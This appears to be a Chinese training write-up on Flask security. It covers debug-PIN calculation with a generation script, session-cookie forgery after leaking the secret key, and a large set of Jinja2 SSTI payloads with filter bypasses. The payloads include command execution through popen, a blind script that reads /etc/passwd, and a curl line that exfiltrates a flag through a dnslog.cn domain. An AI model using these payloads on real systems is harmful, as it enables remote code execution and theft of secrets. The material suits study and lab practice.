本文首發於“合天智匯”公眾號 作者:HhhM
flask安全
最近跑了培訓寫了點flask的session偽造,沒能用上,剛好整理了一下先前的資料把flask三種考過的點拿出來寫寫文章。
debug pin
本地先起一個開啟debug模式的服務:
# -*- coding: utf-8 -*- from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return 'hello world!' if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True)
本機啟動時會打印出如下:
Use a production WSGI server instead. * Debug mode: on * Restarting with windowsapi reloader * Debugger is active! * Debugger PIN: 284-467-555 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
多次啟動會發現打印的PIN碼是相同的,分析源自參考鏈接,可以得出debug pin由六個值決定:
- 用戶
- flask.app
- Flask
- flask目錄下的一個app.py的絕對路徑
- 當前電腦的MAC地址,為mac地址的十進制表達式
- 首先嘗試讀取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值,若有就直接返回;假如是在win平台下讀取不到上面兩個文件,就去獲取注冊表中SOFTWARE\\Microsoft\\Cryptography的值,並返回
也就是我們如果能夠偽造這六個值我們就能夠生成一個一模一樣的PIN碼了。
靶機測試
而要獲取這六個值我們可以通過任意文件讀取來獲得,因此本地寫一個文件讀取的漏洞點,並且為了方便寫一個報錯頁面,放docker上啟動:
# -*- coding: utf-8 -*- from flask import Flask, request app = Flask(__name__) @app.route("/") def hello(): return Hello['a'] @app.route("/file") def file(): filename = request.args.get('filename') try: with open(filename, 'r') as f: return f.read() except: return 'error' if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True)
- flask.app
- Flask
- 獲取machine-id
直接訪問即可:
http://172.19.75.19:30000/file?filename=/etc/machine-id 32e48d371198e8420c53b0a1fa37e94d
- 獲取mac地址
http://172.19.75.19:30000/file?filename=/sys/class/net/eth0/address 02:42:ac:11:00:02 print(0x0242ac110002) 2485377892354
- 用戶名從報錯界面可以獲得
使用腳本即可獲得pin碼:
import hashlib from itertools import chain probably_public_bits = [ 'root',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
得到:
284-995-758
在debug頁面輸入后成功執行代碼。
session偽造
p神文中提到一個客戶端session,flask中的session是存放在cookie中的,那么cookie中的字段在客戶端訪問時是可以被修改的,這就是客戶端session,像php的session是存放在服務器中的,django的session可以存放在數據庫中,也可以以文件形式存放在服務器中。
而flask的客戶端session需要解決的就是防篡改問題,p神總結出來為以下四點:
- json.dumps 將對象轉換成json字符串,作為數據
- 如果數據壓縮后長度更短,則用zlib庫進行壓縮
- 將數據用base64編碼
- 通過hmac算法計算數據的簽名,將簽名附在數據后,用“.”分割
因此,防篡改的功能位於第四步,也就是簽名,在前面學過jwt感覺是差不多的,簽名不對的話服務端是無法通過驗證的。
寫一個flask應用后給session賦值(非正式寫法):
from flask import session session['user'] = 'tom'
可以看到cookie中是有這么一段東西:
session=eyJ1c2VyIjoidG9tIn0.XzVf_w.Is2SqC_MS8NIBynok5BQpmldBLI
解密后我們看到:

前半截是一個json串,后半截就是一個簽名了,倘若有一個ssti,我們通過如{{config}}讀取到密鑰,那么就可以通過flask-session腳本來偽造session,替換上cookie之后即可達成session偽造。
靶機測試
通過ssti獲取到密鑰:
http://127.0.0.1:8080/?a={{config}}
抓包獲取session,解密取得格式。
{"user":"tom"}
工具偽造session:
$ python3 flask_session_cookie_manager3.py encode -s 'hello world' -t '{"user":"admin"}' eyJ1c2VyIjoiYWRtaW4ifQ.Xzqkag.jq8cULYNeQYVZiH-2Fe3cAfECk4
替換后:

ssti
老生常談的問題,一直沒總結,稍微寫寫。
先前對於ssti的理解不是很清晰,只會解一些稍簡單的ssti,前段時間想出個flask的ssti才發現原來並不是模板中的變量可控就會導致模板注入,一個典型的模板注入如下:
from flask import Flask, render_template_string, request app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) @app.route('/index', methods=['GET', 'POST']) def index(): template = ''' <div> <h3>%s</h3> </div> ''' % (request.url) return render_template_string(template)
此種形式存在着變量可控的,同時使用了一個不固定的模板,此時就造成了一個ssti,應該認識到的是實際場景很少有ssti的漏洞,因為像這樣寫模板如果代碼量少的話確實方便,但代碼量多的話都會寫成下面的形式了:
def index(): return render_template("index.html",title='Home',user=request.args.get("user"))<html> <head> <title>{{title}}</title> </head> <body> <h1>Hello, {{user.name}}!</h1> </body> </html>
這種情況下是模板先渲染后我們再傳入變量,此時代碼是安全的;那么目前主題是ssti,當然要繼續以不安全的代碼來測試一下ssti :),為方便測試我們對第一套代碼再作修改:
from flask import Flask, render_template_string, request app = Flask(__name__) app.secret_key = "hello world" @app.route('/', methods=['GET', 'POST']) @app.route('/index', methods=['GET', 'POST']) def test(): template = ''' <div> <h3>%s</h3> </div> ''' % (request.args.get("a")) return render_template_string(template) if __name__ == '__main__': app.debug = True app.run()
運行,傳入路由:
http://127.0.0.1:5000/?a={{7*7}}
發現輸出49,此時就說明了能夠被利用來進行ssti的測試;那么前面學習session偽造時所需要的密鑰就可以通過config讀到:
http://127.0.0.1:5000/?a={{config}}
那么此處無論是采用%s、format或是其他形式的格式化字符串都好,只要我們的模板在被渲染之前就存在着某處可控,那么就存在着ssti的風險。
無過濾
以前稍微學過,再做個復習。
默認的,所有類追溯回去都能是有着一個object類,因為兩個py版本下會有差別,所以分兩個py版本進行測試。
py3.7
第一步先通過一個對象獲取到對應的類。
#-*- coding:utf-8 -*- #__author__: HhhM class MyownClass(): def __init__(self): self.name = "a" print(MyownClass().__class__) print("".__class__) print([].__class__) """ out: <class '__main__.MyownClass'> <class 'str'> <class 'list'> """
可以看出來__class__是返回該對象所對應的類,下一步拿到基類,也就是object:
print(MyownClass().__class__.__base__) print("".__class__.__base__) print([].__class__.__base__) """ out: <class 'object'> <class 'object'> <class 'object'> """
那么這里也能得到__base__的作用,獲得其是獲得類所繼承的類,可以看到構造出來是一樣的類(object),那么我們寫一個繼承類看看__base__輸出什么:
#-*- coding:utf-8 -*- #__author__: HhhM class MyownClass(): def __init__(self): self.name = "a" class MyownClass1(MyownClass): def __init__(self): self.name = "a" print(MyownClass1().__class__.__base__) print(MyownClass1().__class__.__base__.__base__) """ out: <class '__main__.MyownClass'> <class 'object'> """
所以我們拿到一個繼承類時可以通過base來層層回溯獲取到object類,獲取到object類后繼續:
print("".__class__.__base__.__subclasses__()) print("".__class__.__bases__[0].__subclasses__()) """ out: [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>,....] """
__subclasses__獲取的是當前類的子類列表,那么我們對應上面有繼承關系的MyownClass這個類獲取到的則是:
[<class '__main__.MyownClass1'>]
通過object類獲取到的是一個列表,因此可以通過列表取值的方式獲取到我們需要的類,然而會發現類太多了,找到了我們要的類也不知道他處於列表的哪個位置,可以簡單寫個腳本跑一下:
#-*- coding:utf-8 -*- #__author__: HhhM import json a = """ <class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'> """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "\n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os" in v: print(str(k)+"--->"+v)
我在128取到了<class 'os._wrap_close'>,我們通過調用它的__init__方法進行初始化類:
print("".__class__.__base__.__subclasses__()[128].__init__) """ <function _wrap_close.__init__ at 0x016E9A50> """
通過調用globals可以獲取到類內存在的方法、屬性等值:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__)

會發現是一個字典,因此我們只需要找到其內存在我們需要的值對應的鍵之后取值即可。
python3中沒有file對象,但還有open,因此有:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__["open"]) """ <built-in function open> """
此時取到的open我在本地測試時會報錯,網上提示是被os的open模塊覆蓋了,測試后可以如下取到:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']["open"]("2.py").read())
可以看出來各個環境下具體情況也會有區別,本地測試通遠程不通大多是這個原因了吧,倒是個需要記住的點。
還有個popen可以執行命令:
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("dir").read())
本地測試的話可以寫個腳本跑跑有什么可以用的,像找能夠構造出eval的類:
for i in "".__class__.__base__.__subclasses__(): try: i.__init__.__globals__['__builtins__']["eval"]("__import__('os').popen('dir').read()") print(i) except Exception: pass
會發現的是只要擁有__builtins__的就可以構造出來。
os模塊也能如此利用:
"".__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('whoami').read()
py2.7
py3了解之后再回看py2會明了的多,首先是字符串取基類,我發現就是以py3的payload取:
print("".__class__.__base__) print(().__class__.__base__) """ out: <type 'basestring'> <type 'object'> """
str類需要再套一層base才能取到object類,而其他內置類不需要。
然后找鏈的過程就大同小異了,py2區別py3的說就有一個file類,可以直接用來讀寫文件了,用上面的腳本跑出file對象對應的位置。
# 讀 print(().__class__.__base__.__subclasses__()[40]('2.py').readline()) print(().__class__.__base__.__subclasses__()[40]('2.py').readlines()) # 寫 print(().__class__.__base__.__subclasses__()[40]('2.py').write('context'))
bypass
下面環境皆以py3.7作為測試環境,起個docker,發現os._wrap_close處在第35的位置。
過濾base
過濾base之后還可以用mro:
class MyownClass(): def __init__(self): self.name = "a" class MyownClass1(MyownClass): def __init__(self): self.name = "a" print("".__class__.__mro__) print(().__class__.__mro__) print(MyownClass1().__class__.__mro__) """ out: (<class 'str'>, <class 'object'>) (<class 'tuple'>, <class 'object'>) (<class '__main__.MyownClass1'>, <class '__main__.MyownClass'>, <class 'object'>) """
包含了整條的繼承鏈,可以看到的是object一直處於最末,直接取-1即可:
print(().__class__.__mro__[-1])
取到object類后接下來的操作就一毛一樣了。
也可以用拼接:
print(().__class__['__ba'+'se__'])
過濾class
拼接:
{{()['__cla'+'ss__'].__mro__[-1]}}
這四個都是flask的內置對象,通過他們我們就可以獲取到object類了,拼接繞過的話是可以繞過大部分過濾的了。
如果這里mro被過濾了則可以嘗試用base一層一層溯源到object類
過濾中括號
利用__getitem__可以取第n位,如:
http://127.0.0.1:5000/?a={{().__class__.__mro__.__getitem__(-1)}}
也可以用pop彈出列表第n位:
{{().__class__.__base__.__subclasses__().pop(-1)}}
過濾雙大括號
可以考慮使用判斷語句:
http://127.0.0.1:5000/?a={% if "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("curl `cat /flag`.z2yw9j.dnslog.cn").read()=='test' %}1{% endif %}
無回顯可用curl外帶。
過濾subclasses
依舊拼接大法:
{{"".__class__.__base__['__subcl'+'asses__']()}}
感覺吧,只要沒過濾加號就能拼接繞過。
過濾關鍵字符
前面的話是構造獲取需要的方法鏈時的一個繞過,這里的話就是在命令執行時的繞過,主要是chr函數起的作用,像php或者是nodejs也有類似的玩法,chr()字符拼接達成繞過。
主要是從含有builtins的類中獲取到chr函數,如下:
"".__class__.__base__.__subclasses__()[35].__init__.__globals__['__builtins__']['chr']
模板語言還是不弱的,我們可以用來設置值簡化payload長度同時進行繞過:
{% set c = "".__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__['chr'] %}{{"".__class__.__base__.__subclasses__()[35].__init__.__globals__['popen'](c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}
過濾引號
過濾引號的話同樣可以用chr來繞過傳參時所需要的引號,只需要將先前的鏈中取值方式略作修改即可,取chr
{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr}}
則執行命令為:
{% set c = ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}
因為flask中存在着request這個內置對象,所以我們也可以利用request來繞過。
在使用模板時,當存在{{request.args.test}},在我們傳入?test=asd時即可指定其值為asd,並且默認的為字符串類型,我們可以借此來達成繞過引號。
如:
?a={{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls
事實上如果request對象沒被過濾的話,我們可以用此種方式繞過絕大部分過濾。
盲注
這個方法是從p0師傅的博客中看到的,就是利用if語句返回值來判斷語句是否為真,然后從輸出值來判斷結果。
py2的話可以用file對象,py3則可以用open。
#-*- coding:utf-8 -*- #__author__: HhhM import requests url = 'http://172.23.129.221:12339/?a=' def check(payload): r = requests.get(url+payload).content return 'hhhm' in r password = '' s = """ 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$'()*+,-./:;<=>?@[\]^`{|}~"_% """ for i in range(0,100): for c in s: payload = '{% if ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}hhhm{% endif %}' if check(payload): password += c break print password
過濾init
還有一個替代的__enter__,同樣的有paylod:
{{().__class__.__base__.__subclasses__()[35].__enter__.__globals__.__builtins__.open("/etc/passwd").read()}}
甚至還有另一個__exit__同樣可以替代:
{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("/etc/passwd").read()}}
base64繞過
簡單易懂,py2下可以不過py3因為其字符為unicode編碼,需要進行轉碼。
{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')).read()}}
環境
配套docker已發布於github:https://github.com/a756379684/flask-sec-docker
參考
參考自:
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://p0sec.net/index.php/archives/120
相關實驗
Flask服務端模板注入漏洞
(通過該實驗了解服務端模板注入漏洞的危害與利用。)